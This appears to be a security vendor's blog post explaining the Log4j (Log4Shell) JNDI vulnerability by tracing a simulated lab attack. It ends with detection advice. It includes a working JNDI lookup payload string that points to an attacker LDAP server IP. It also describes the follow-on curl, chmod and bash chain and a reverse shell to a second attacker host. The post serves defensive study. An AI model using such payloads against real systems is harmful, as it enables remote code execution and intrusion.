Weaponized Log4j Exploit In Action

Dec 15, 2021 10:30:00 AM

Want to see Spyderbat in action?

Exploit Details

The exploit is possible due to a vulnerability in the Log4j library, a codebase that is found in numerous java applications. At its core, some versions of the library have a flaw in input sanitization which allows a user to send commands to vulnerable systems and perform remote code execution. A common attack pattern is to use a Java Naming and Directory Interface (JNDI) lookup. JNDI is a Java API that allows software clients to discover and lookup data and resources in the form of Java objects via simply a name.(https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface). The lookups are commonly used against an LDAP server.

${jndi:ldap://LDAPserver.net:1389/ClassName}

It's likely an organization logs unsuccessful authentication attempts. For Java applications, Log4j is a common way to do just that. However, this particular application is vulnerable to the exploit described above.

In this instance, a malicious actor is attempting to perform remote code execution using this command: ${jndi:ldap://43.34.134.230:1389/Log4jRCE}.

● jndi:ldap - This initiates the JNDI lookup

● 43.34.134.230 - This is the IP address of a malicious LDAP server

● 1389 - The port that the server is being hosted on

● Log4jRCE - The malicious java object that will be returned by the lookup

What happens on the backend?

The LDAP server (above) redirects the vulnerable Java application to an HTTP server hosting the Java object (below).

The Log4jRCE.class is then retrieved and executed by the vulnerable application. Since the LDAP server and Java object are controlled by the attacker there are any number of ways this can be taken advantage of.

That is what it looks like for the attacker. How can the defender get the upper hand?

In the wake of the Log4j exploit, system administrators and security analysts everywhere are trying to understand the scope of the problem and if their machines have been affected. Everyone is no doubt receiving numerous alerts from their security applications flagging on the jdni:ldap string, but piecing together what happened and ensuring you’re in the clear can be extremely difficult.

One common use we have seen for the Log4j RCE exploit is to set up a crypto mining operation. We set up our exploit lab to simulate this scenario. In this case, the Log4jRCE.class object downloads a shell script, modifies the permissions and executes it to give the attacker a reverse shell. With the reverse shell, the attacker has access to the machine and can begin searching for ways to launch their bitcoin mining operation.

With Spyderbat, we traced the attack as the exploit executes. Spyderbat automatically captures the processes and network connections with their causal relationships (e.g. process A initiates process B, etc). This will give us better insight into the exploit and how it impacts the system.

Interact with this Trace (no signup required)

The trace above indicates the causal relationships:

The S-Node at the top is our system with hostname “Vulnerable Webserver”
When the system “Vulnerable Webserver” booted, it started the process 'systemd’ represented by a P-node.
The gray badge to the right of the node indicates the effective user.
The process ‘systemd’ launched the process, ‘tomcat’, which runs as the effective user ‘tomcat’, which kicked off the ‘java’ process.

This shows the HTTP request from the attacker’s external IP address, 43.34.134.230, to Vulnerable Webserver’s tomcat web application on port 8080.

As we saw previously, the attacker completes the login form with the Log4j exploit string. The tomcat web application uses Log4j to log the attempt, which triggers a malicious outbound LDAP request. We see this here by the network connection out from Vulnerable Webserver to the External IP on port 1389. There may be multiple inbound and outbound connections on this server. This trace connects this specific inbound request to the outbound LDAP query.

The LDAP query redirects Vulnerable Webserver to a java class, Log4jRCE.class which is hosted on the Attack Machine on port 8888. The trace follows the hecausal path to show the relationship of the outbound request on 8888 to the previous network connections.

The tomcat web application then executes the Log4JRCE.class it received from the attacker’s server on 8888, which invokes some shell commands: a curl to download the script ‘shell.sh’, chmod to change its permissions, and bash to execute it.

Looking at the details of the bash shell process, we see it executing the shell.sh script.

This image shows all the causally related activities from the shell.sh script running inside the bash shell.

A reverse shell outbound on ephemeral port 45838 connecting to a second attack machine at 65.56.165.199 on port 1337
Running several commands including ‘groups’, ‘whoami’, etc. Displaying details shows which directory was listed and which file was read.

The attacker uses the 'su' command to escalate privileges to the ‘ubuntu’ user. Previously the attacker was using the effective rights of the ‘tomcat’ user. But wait, how did the attacker get privileges to the ‘Ubuntu’ user? The key is in the details of the cat command.

Takeaways:

If the Log4j exploit attempt was unsuccessful, we would not see the LDAP query and all additional malicious activity following it. This can help you avoid false positives from your security tools that only detect the initial exploit attempt.
It is unlikely to see commands like chmod, bash, curl from java. Searching for shell commands following java should help illuminate successful Log4j exploits.

Note: While Log4j is common to be used with a web application server, it can be used with other application types as well. Your security controls should not limit looking for the Log4j exploit to just your web applications.